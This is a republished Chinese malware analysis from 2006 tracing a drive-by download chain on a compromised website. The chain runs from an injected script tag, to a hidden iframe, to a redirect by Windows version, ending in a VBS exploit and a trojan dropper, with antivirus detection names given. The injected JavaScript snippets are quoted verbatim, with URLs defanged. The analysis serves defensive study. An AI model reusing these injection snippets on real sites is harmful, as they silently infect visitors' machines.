关于hxxp://www.hj234.com的问题

王朝java/jsp·作者佚名  2006-12-17
窄屏简体版  字體: |||超大  

关于hxxp://www.hj234.com的问题

关于hxxp://www.hj234.com的问题 endurer原创

2006-04-24第1版

在hxxp://www.hj234.com的主页有代码:

<script language=JavaScript src='hxxp://www.***hj234.com/abc/abc.js'></script>

hxxp://www.***hj234.com/abc/abc.js的内容为:

document.write('<iframe height=0 width=0 frameborder=0 src='hxxp://www.***hj234.com/abc/joke.htm'></iframe>')

hxxp://www.***hj234.com/abc/joke.htm的内容为:

<center><font color=red>对不起,您访问的页面不存在!</font><center> <script language=javascript>ie='windows';ver=navigator.appVersion;if(!(ver.indexOf('NT 5.0')==-1))ie='winnt';if(!(ver.indexOf('Windows 98')==-1)){ie='w98';}location.href=ie+'.htm';</script>

会根据浏览者所用Windows版本,打开windows.htm,winnt.htm或w98.htm

从这个网页开始,所用的技术与发现一个使用技术升级、下载灰鸽子的网站相同。

这3个网页会下载/运行文件young.gif和young.css

young.gif是个利用系统漏洞的网页文件,访问注册表获取IE临时文件夹路径,并利用WScript.Shell复制文件young.css,创建文件c:\wins.bat,c:\boot.hta,C:\wins.exe。

江民KV2006报为Exploit.VBS.Phel.ba

young.css用VB6编写,修改IE启动页,创建名为services.exe的文件,并在注册表的run键加入开机启动项,江民KV2006报为TrojanDropper.Delf.d

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有  導航